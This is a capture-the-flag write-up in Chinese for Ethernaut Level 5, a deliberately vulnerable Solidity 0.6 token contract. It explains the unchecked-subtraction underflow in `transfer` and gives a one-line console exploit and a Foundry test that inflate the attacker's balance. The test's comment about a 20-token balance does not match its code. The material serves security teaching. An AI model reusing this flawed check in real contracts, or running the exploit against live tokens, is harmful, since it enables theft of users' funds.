---
# System prepended metadata

title: Ethernaut CTF Level  5 - Token
tags: [Ethernaut, Blockchain Security, Smart Contract Audit]

---

# Ethernaut CTF Level 5 - Token

[toc]

## 題目

這一關的目標是駭入下面這個簡單的代幣合約。

你一開始會被給 20 個代幣。如果你找到方法增加你手中代幣的數量，你就可以通過這一關，當然代幣數量越多越好。

可能會有用的資訊

- 什麽是 odometer?

```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}
```

<br>

## 分析

ODO meter是汽車的里程計數器，如果是5位數，里程最高可以記錄到99999
如果車子繼續開1公里，計數器會回到00000

這是個典型的 arithmetic overflow問題

套用到題目中也一樣，在0.8.0版本之前沒有針對數字overflow做檢查

<br>

攻擊思路重點擺在`transfer` function
- 題目提到起始代幣是20 token

如果嘗試提領**21 token**，在第2行`require`檢查中
- `balances[msg.sender] - _value` 會變成0xfff....fff的形式
- 判斷會成立

接下來的`balances[msg.sender] -= _value;`

會導致balance變成很大的數字



```solidity=
function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }
```

<br>

## 攻擊

在Ethernaut console下輸入以下即可通過

```solidity=
await contract.transfer(instance, 21)
```

可以看到balance改變了

![image](https://hackmd.io/_uploads/ryN0xwnN6.png)

<br>

## Foundry Test

```solidity=
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;

import "forge-std/Test.sol";
import "forge-std/Vm.sol";
import "../src/levels/05-Token/Token.sol";

contract ContractTest is Test {
    Token level5 = Token(payable(0x3d904B522B5658535f38566C354F1aa5B47fbAb7));

    function setUp() public {
        Vm vm = Vm(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D));
        vm.createSelectFork(vm.rpcUrl("sepolia"));

        vm.label(address(this), "Attacker");
        vm.label(
            address(0x3d904B522B5658535f38566C354F1aa5B47fbAb7),
            "Ethernaut05"
        );
    }

    function testEthernaut05() public {
        level5.balanceOf(address(this));
        level5.transfer(address(0), 1); // initial balance[attacker] = 20, so minus 21 will underflow
        assert(level5.balanceOf(address(this)) > 20);
    }

    receive() external payable {}
}

```